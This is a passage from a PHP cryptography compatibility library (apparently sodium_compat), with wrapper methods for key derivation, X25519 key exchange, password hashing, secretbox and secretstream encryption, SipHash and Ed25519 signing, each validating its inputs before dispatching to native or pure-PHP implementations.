else { $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message); } } /** * @return string * @throws Exception * @throws Error */ public static function crypto_generichash_keygen() { return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES); } /** * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws SodiumException */ public static function crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, #[\SensitiveParameter] $key ) { ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); $subkey_id = (int) $subkey_id; $subkey_len = (int) $subkey_len; $context = (string) $context; $key = (string) $key; if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) { throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN'); } if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) { throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX'); } if ($subkey_id < 0) { throw new SodiumException('subkey_id cannot be negative'); } if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) { throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) { throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes'); } $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id); $state = self::crypto_generichash_init_salt_personal( $key, $subkey_len, $salt, $context ); return self::crypto_generichash_final($state, $subkey_len); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_kdf_keygen() { return random_bytes(self::CRYPTO_KDF_KEYBYTES); } /** * Perform a key exchange, between a designated client and a server. * * Typically, you would designate one machine to be the client and the * other to be the server. The first two keys are what you'd expect for * scalarmult() below, but the latter two public keys don't swap places. * * | ALICE | BOB | * | Client | Server | * |--------------------------------|-------------------------------------| * | shared = crypto_kx( | shared = crypto_kx( | * | alice_sk, | bob_sk, | <- contextual * | bob_pk, | alice_pk, | <- contextual * | alice_pk, | alice_pk, | <----- static * | bob_pk | bob_pk | <----- static * | ) | ) | * * They are used along with the scalarmult product to generate a 256-bit * BLAKE2b hash unique to the client and server keys. * * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @param bool $dontFallback * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_kx')) { return (string) sodium_crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (self::use_fallback('crypto_kx')) { return (string) call_user_func( '\\Sodium\\crypto_kx', $my_secret, $their_public, $client_public, $server_public ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } return ParagonIE_Sodium_Crypto::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } /** * @param string $seed * @return string * @throws SodiumException */ public static function crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); $seed = (string) $seed; if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) { throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes'); } $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @return string * @throws Exception */ public static function crypto_kx_keypair() { $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_client_session_keys( #[\SensitiveParameter] $keypair, $serverPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2); $keypair = (string) $keypair; $serverPublicKey = (string) $serverPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey)); self::crypto_generichash_update($h, $pk); self::crypto_generichash_update($h, $serverPublicKey); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_server_session_keys( #[\SensitiveParameter] $keypair, $clientPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2); $keypair = (string) $keypair; $clientPublicKey = (string) $clientPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey)); self::crypto_generichash_update($h, $clientPublicKey); self::crypto_generichash_update($h, $pk); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_secretkey( #[\SensitiveParameter] $kp ) { return ParagonIE_Sodium_Core_Util::substr( $kp, 0, self::CRYPTO_KX_SECRETKEYBYTES ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_publickey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, self::CRYPTO_KX_SECRETKEYBYTES, self::CRYPTO_KX_PUBLICKEYBYTES ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $alg * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $alg = null ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { if (!is_null($alg)) { ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6); return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg); } return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash')) { return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash_str')) { return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * Do we need to rehash this password? * * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * @throws SodiumException */ public static function crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); // Just grab the first 4 pieces. $pieces = explode('$', (string) $hash); $prefix = implode('$', array_slice($pieces, 0, 4)); // Rebuild the expected header. /** @var int $ops */ $ops = (int) $opslimit; /** @var int $mem */ $mem = (int) $memlimit >> 10; $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1'; // Do they match? If so, we don't need to rehash, so return false. return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash); } if (self::use_fallback('crypto_pwhash_str_verify')) { return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256( (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256', (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_scryptsalsa208sha256_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str( (string) $passwd, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str', (string) $passwd, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( (string) $passwd, (string) $hash ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) { return (bool) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify', (string) $passwd, (string) $hash ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * Calculate the shared secret between your secret key and your * recipient's public key. * * Algorithm: X25519 (ECDH over Curve25519) * * @param string $secretKey * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_scalarmult( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult($secretKey, $publicKey); } if (self::use_fallback('crypto_scalarmult')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey); } /* Output validation: Forbid all-zero keys */ if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) { throw new SodiumException('Zero public key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey); } /** * Calculate an X25519 public key from an X25519 secret key. * * @param string $secretKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function crypto_scalarmult_base( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult_base($secretKey); } if (self::use_fallback('crypto_scalarmult_base')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey); } if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey); } return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey); } /** * Authenticated symmetric-key encryption. * * Algorithm: XSalsa20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox( #[\SensitiveParameter] $plaintext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_secretbox($plaintext, $nonce, $key); } if (self::use_fallback('crypto_secretbox')) { return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_secretbox_open($ciphertext, $nonce, $key); } if (self::use_fallback('crypto_secretbox_open')) { return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key); } /** * Return a secure random key for use with crypto_secretbox * * @return string * @throws Exception * @throws Error */ public static function crypto_secretbox_keygen() { return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES); } /** * Authenticated symmetric-key encryption. * * Algorithm: XChaCha20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key); } /** * @param string $header * @param string $key * @return string Returns a state. * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) { throw new SodiumException( 'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes' ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $msg, $aad = '', $tag = 0 ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } /** * @param string $state * @param string $msg * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $msg, $aad = '' ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } /** * @return string * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_keygen() { return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES); } /** * @param string $state * @return void * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state); } else { ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state); } } /** * Calculates a SipHash-2-4 hash of a message for a given key. * * @param string $message Input message * @param string $key SipHash-2-4 key * @return string Hash * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_shorthash( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_shorthash($message, $key); } if (self::use_fallback('crypto_shorthash')) { return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key); } return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key); } /** * Return a secure random key for use with crypto_shorthash * * @return string * @throws Exception * @throws Error */ public static function crypto_shorthash_keygen() { return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES); } /** * Returns a signed message. You probably want crypto_sign_detached() * instead, which only returns the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed. * @param string $secretKey Secret signing key. * @return string Signed message (signature is prefixed). * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign($message, $secretKey); } if (self::use_fallback('crypto_sign')) { return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign($message, $secretKey); } /** * Validates a signed message then returns the message. * * @param string $signedMessage A signed message * @param string $publicKey A public key * @return string The original message (if the signature is * valid for this public key) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign_open( $signedMessage, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== 